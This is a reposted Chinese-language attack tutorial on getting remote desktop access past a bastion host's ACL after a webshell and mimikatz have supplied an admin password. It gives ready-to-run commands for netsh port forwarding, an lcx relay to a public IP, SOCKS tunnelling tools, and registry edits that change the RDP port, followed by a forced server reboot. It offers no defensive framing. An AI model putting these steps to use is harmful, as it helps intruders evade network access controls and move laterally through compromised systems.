如何繞過(guò)堡壘機(jī)遠(yuǎn)程登錄
本文轉(zhuǎn)載自微信公眾號(hào)「Bypass」，作者Bypass 。轉(zhuǎn)載本文請(qǐng)聯(lián)系Bypass公眾號(hào)。
假設(shè)一個(gè)場(chǎng)景：在Webshell中執(zhí)行mimikatz獲取到win管理員密碼，并且本地查看端口3389是開(kāi)放的，可是從當(dāng)前跳板機(jī)無(wú)法遠(yuǎn)程到目標(biāo)機(jī)器。因?yàn)槟硞€(gè)特定需求，一定要遠(yuǎn)程登錄到這臺(tái)win服務(wù)器，這時(shí)該怎么辦?
首先我們先分析一下這個(gè)場(chǎng)景，端口開(kāi)放卻無(wú)法連接，最有可能的情況，就是到達(dá)目標(biāo)網(wǎng)段受到ACL策略限制，只允許通過(guò)特定網(wǎng)段登錄，比如說(shuō)堡壘機(jī)。大多數(shù)堡壘機(jī)部署時(shí)，為了不改變現(xiàn)有的網(wǎng)絡(luò)拓?fù)浣Y(jié)構(gòu)，采用旁路部署的方案，通過(guò)ACL策略限制用戶訪問(wèn)特定端口。
那么，我們就可以用另一種方式來(lái)描述這個(gè)問(wèn)題：目標(biāo)服務(wù)器遠(yuǎn)程端口受到ACL限制，但其他端口沒(méi)有限制，那么，最簡(jiǎn)單的解決方式就可以通過(guò)端口轉(zhuǎn)發(fā)來(lái)繞過(guò)。
1、使用netsh命令進(jìn)行端口轉(zhuǎn)發(fā)
Windows自帶的netshnetsh實(shí)現(xiàn)端口轉(zhuǎn)發(fā)，監(jiān)聽(tīng)12345端口，轉(zhuǎn)發(fā)到本地3389端口，可繞過(guò)訪問(wèn)策略限制。
- #A、3389端口轉(zhuǎn)發(fā)到12345端口
- netsh interface portproxy add v4tov4 listenaddress=192.168.126.32 listenport=12345 connectaddress=192.168.126.32 connectport=3389
- #B、查看配置好的端口映射清單
- C:\Windows\system32>netsh interface portproxy show v4tov4
- 偵聽(tīng) ipv4: 連接到 ipv4:
- 地址 端口 地址 端口
- --------------- ---------- --------------- ----------
- 192.168.126.32 12345 192.168.126.32 3389
這樣一來(lái)，通過(guò)攻擊機(jī)跳板機(jī)直接遠(yuǎn)程目標(biāo)機(jī)器的12345端口，就可以實(shí)現(xiàn)遠(yuǎn)程登錄。
2、LCX 端口轉(zhuǎn)發(fā)
在目標(biāo)機(jī)器上執(zhí)行：lcx.exe -slave 公網(wǎng)ip 51 內(nèi)網(wǎng)ip 3389
在公網(wǎng)的機(jī)器執(zhí)行：Lcx.exe –listen 51 3340
本地機(jī)器上連接 127.0.0.1:3340，即可連接上目標(biāo)機(jī)器的3389。
3、內(nèi)網(wǎng)穿透工具
SOCKS代理，如Ngrok、frp、EW、reGeorg、sSocks等
通過(guò)利用SOCKS協(xié)議，結(jié)合Proxifier使用，可實(shí)現(xiàn)mstsc登錄目標(biāo)主機(jī)。
4、修改Windows遠(yuǎn)程桌面端口
通過(guò)修改Windows默認(rèn)遠(yuǎn)程桌面端口，從而繞過(guò)ACL策略訪問(wèn)限制。
修改注冊(cè)表，命令如下：
- REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v "PortNumber" /t REG_DWORD /d 12345/f
- REG ADD "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "PortNumber" /t REG_DWORD /d 12345 /f
強(qiáng)制重啟目標(biāo)服務(wù)器后，注冊(cè)表生效。
- shutdown -r -t 0
此時(shí)，就可以遠(yuǎn)程目標(biāo)服務(wù)器的12345登錄。
